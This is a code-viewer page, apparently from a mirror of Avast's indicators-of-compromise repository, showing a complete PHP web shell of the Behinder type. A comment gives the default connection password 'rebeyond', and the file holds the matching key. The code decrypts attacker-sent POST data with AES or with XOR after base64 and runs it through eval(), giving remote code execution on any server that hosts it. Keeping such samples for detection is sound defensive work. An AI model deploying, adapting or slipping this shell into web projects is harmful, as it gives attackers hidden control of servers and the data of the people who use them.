mirror of https://github.com/avast/ioc
27 lines
643 B
PHP
27 lines
643 B
PHP
<?php
|
||
@error_reporting(0);
|
||
session_start();
|
||
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
|
||
$_SESSION['k']=$key;
|
||
session_write_close();
|
||
$post=file_get_contents("php://input");
|
||
if(!extension_loaded('openssl'))
|
||
{
|
||
$t="base64_"."decode";
|
||
$post=$t($post."");
|
||
|
||
for($i=0;$i<strlen($post);$i++) {
|
||
$post[$i] = $post[$i]^$key[$i+1&15];
|
||
}
|
||
}
|
||
else
|
||
{
|
||
$post=openssl_decrypt($post, "AES128", $key);
|
||
}
|
||
$arr=explode('|',$post);
|
||
$func=$arr[0];
|
||
$params=$arr[1];
|
||
class C{public function __invoke($p) {eval($p."");}}
|
||
@call_user_func(new C(),$params);
|
||
?>
|